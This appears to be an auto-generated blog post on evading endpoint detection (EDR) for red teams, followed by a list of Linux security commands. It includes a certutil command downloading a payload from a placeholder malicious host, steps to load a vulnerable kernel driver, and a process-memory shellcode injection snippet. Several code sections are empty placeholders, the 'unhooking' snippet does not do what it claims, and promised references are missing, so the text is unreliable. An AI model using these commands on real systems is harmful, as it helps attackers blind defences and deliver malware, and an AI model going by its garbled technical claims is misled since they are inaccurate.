2025-02-11
Awesome EDR Evasion
EDR (Endpoint Detection and Response) evasion is a critical skill for red teams to simulate advanced adversaries. Below are some practical techniques and commands to bypass EDR systems:
1. Unhooking Patch:
EDR solutions often use API hooking to monitor system calls. Unhooking involves restoring the original function addresses in memory.
<h1>Example of unhooking ntdll.dll</h1> python3 -c "import ctypes; ctypes.windll.kernel32.VirtualProtect.restype = ctypes.c_long; ctypes.windll.kernel32.VirtualProtect.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_ulong, ctypes.POINTER(ctypes.c_ulong)]; old_protect = ctypes.c_ulong(0); ctypes.windll.kernel32.VirtualProtect(ctypes.windll.ntdll.NtQueryInformationProcess, 1, 0x40, ctypes.byref(old_protect))"
2. LOLBins (Living Off the Land Binaries):
Use trusted Windows binaries to execute malicious code without triggering EDR.
<h1>Example using certutil.exe to download a payload</h1> certutil -urlcache -split -f http://malicious.site/payload.exe C:\Windows\Temp\payload.exe
3. BYOVD (Bring Your Own Vulnerable Driver):
Exploit vulnerable drivers to disable EDR processes.
<h1>Load a vulnerable driver</h1> sc create vulnerable_driver binPath= C:\path\to\driver.sys type= kernel start= demand sc start vulnerable_driver
4. Hell’s Gate and Halo’s Gate:
Techniques to bypass EDR by directly invoking syscalls.
<h1>Example of Hell's Gate implementation in C</h1> <h1>(Code snippet for direct syscall invocation)</h1> <h1>Include necessary headers and define syscall stubs</h1>
5. Recycled Gate and Tartarus Gate:
Advanced syscall techniques to evade EDR detection.
<h1>Example of Recycled Gate implementation</h1> <h1>(Code snippet for syscall recycling)</h1>
6. Windows API for Red Teams:
Leverage Windows API calls to manipulate processes and memory.
<h1>Example of using OpenProcess and WriteProcessMemory</h1> HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); WriteProcessMemory(hProcess, targetAddress, &shellcode, sizeof(shellcode), NULL);
7. Javas Gate:
A technique to bypass EDR by exploiting Java-based vulnerabilities.
<h1>Example of Java-based exploitation</h1> <h1>(Code snippet for Java deserialization attacks)</h1>
What Undercode Say
EDR and AV bypass techniques are essential for red teams to emulate sophisticated adversaries. By leveraging tools like LOLBins, syscall manipulation, and vulnerable drivers, red teams can effectively test the resilience of security systems. Below are additional Linux-based commands and techniques for cybersecurity professionals:
1. Syscall Monitoring with Strace:
Use `strace` to monitor system calls and identify potential vulnerabilities.
strace -e trace=execve ./malicious_binary
2. Memory Analysis with Volatility:
Analyze memory dumps for signs of EDR evasion.
volatility -f memory.dump --profile=Win10x64 pslist
3. Network Traffic Analysis with Tcpdump:
Capture and analyze network traffic for suspicious activity.
tcpdump -i eth0 -w capture.pcap
4. Exploit Development with GDB:
Use GDB to debug and develop exploits.
gdb -q ./vulnerable_binary
5. Privilege Escalation with LinPEAS:
Use LinPEAS to identify privilege escalation vectors.
./linpeas.sh
6. File Integrity Monitoring with AIDE:
Monitor file system changes to detect unauthorized modifications.
aide --check
7. Log Analysis with Logwatch:
Automate log analysis to identify potential security incidents.
logwatch --detail high --mailto [email protected]
8. Kernel Module Manipulation:
Load and unload kernel modules to test system integrity.
insmod malicious_module.ko rmmod malicious_module
9. Rootkit Detection with chkrootkit:
Scan for rootkits and other malicious software.
chkrootkit
10. Firewall Configuration with iptables:
Configure firewall rules to block malicious traffic.
iptables -A INPUT -s 192.168.1.100 -j DROP
For further reading, refer to the following resources:
By mastering these techniques and tools, cybersecurity professionals can enhance their ability to detect and mitigate advanced threats.
References:
Hackers Feeds, Undercode AI
